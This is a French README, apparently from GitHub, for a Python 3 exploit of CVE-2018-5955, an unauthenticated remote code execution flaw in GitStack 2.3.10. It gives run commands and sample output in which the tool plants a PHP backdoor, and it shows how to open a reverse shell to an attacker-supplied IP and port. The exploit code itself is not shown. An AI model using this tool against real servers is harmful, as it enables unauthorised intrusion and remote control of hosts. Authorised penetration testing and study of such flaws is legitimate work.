
Un exploit pour CVE-2018-5955 GitStack 2.3.10 RCE non authentifié
Un exploit pour CVE-2018-5955 GitStack 2.3.10 RCE non authentifiée
Exploit : GitStack 2.3.10 Exécution de code à distance non authentifiée
Date : 18.01.2018
Lien du logiciel : https://gitstack.com/
Auteur de l'exploit : Kacper Szurek
Exploit d'origine : https://www.exploit-db.com/exploits/43777
Site web : https://security.szurek.pl/
Catégorie : remote
CVE : CVE-2018-5955
Date : 23.06.2023
Nouvelles fonctionnalités : RCE interactif, détection de l'OS, fonction reverse shell, adapté de python2 à python3
CVE : CVE-2018-5955
Catégorie : remote
Je décline toute responsabilité quant à vos actions, car je l'ai publié sur GitHub à des fins éducatives ou pour des tests d'intrusion certifiés et autorisés.
Installer les dépendances :
pip install colorama
Ensuite, vous pouvez l'exécuter avec :
python3 exploit.py
L'OS sera détecté après que vous aurez exploité la CVE ; en fait, cette ligne de sortie apparaîtra : "[*] OS: $operatingsystem" (Démonstration ci-dessous)
[+] Get user list
[+] Found user twreath
[+] Web repository already enabled
[+] Get repositories list
[+] Found repository Website
[+] Add user to repository
[+] Disable access for anyone
[+] Create backdoor in PHP
[*] Type 'shell' to get a reverse shell
[*] OS : Windows <----
Vous pouvez également taper "os" pour savoir quel type de système d'exploitation est utilisé.
Pour obtenir un véritable reverse shell sur la cible, vous pouvez taper "shell", puis saisir votre IP et votre port d'écoute comme ceci :
RCE > shell
[?] Please enter the IP address for the shell: YOUR IP HERE
[?] Please enter the port number for the shell: YOUR LISTEN PORT HERE